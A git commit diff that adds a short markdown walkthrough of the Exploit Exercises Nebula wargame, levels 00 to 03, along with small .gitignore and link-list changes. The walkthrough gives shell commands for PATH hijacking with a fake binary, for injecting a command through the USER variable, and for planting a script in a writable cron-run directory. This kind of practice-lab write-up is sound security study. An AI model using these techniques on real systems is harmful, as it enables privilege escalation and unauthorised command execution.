From: acevest Date: Sun, 23 Aug 2015 08:53:32 +0000 (+0800) Subject: ... X-Git-Url: http://zhaoyanbai.com/repos/?a=commitdiff_plain;h=d724e7b364c2e875188ae1a1959fee7436eb55ab;p=acecode.git ... --- d724e7b364c2e875188ae1a1959fee7436eb55ab diff --cc .gitignore index 2ebee3d,13d5da2..18789f4 --- a/.gitignore +++ b/.gitignore @@@ -1,4 -1,4 +1,5 @@@ *.o *.out *.pyc +ish + *.DS_Store diff --cc learn/doc/hacktools index 0000000,0000000..234fec2 new file mode 100644 --- /dev/null +++ b/learn/doc/hacktools @@@ -1,0 -1,0 +1,1 @@@ ++https://github.com/coca1ne/xosVer diff --cc learn/markdown/exploit_exercises_nebula.md index 0000000,0000000..98c65f3 new file mode 100644 --- /dev/null +++ b/learn/markdown/exploit_exercises_nebula.md @@@ -1,0 -1,0 +1,36 @@@ ++#Exploit Exercises Nebula ++##Level00 ++``` ++$ cat /etc/passwd | grep flag00 ++flag00:x:999:999::/home/flag00:/bin/sh ++$ find / -uid 999 2>/dev/null ++``` ++ ++##Level01 ++ ++``` ++$ cd ~;mkdir bin;cd bin;echo '/bin/getflag > /tmp/level01.txt' > echo; chmod +x echo ++$export PATH=/home/level01/bin:$PATH ++$ /home/flag01/flag01 ++$ cat /tmp/level01.txt ++``` ++ ++##Level02 ++``` ++$ export USER=";/bin/getflag > /tmp/level02.txt;/bin/echo" ++$ /home/flag02/flag02 ++$ cat /tmp/level02.txt ++``` ++ ++##Level03 ++``` ++$ cd /home/flag03/ ++$ echo '/bin/getflag > /tmp/level03.txt' > writable.d/hack; chmod +x writable.d/hack ++``` ++等到hack被删除 ++ ++``` ++$ cat /tmp/level03.txt ++``` ++ ++##Level04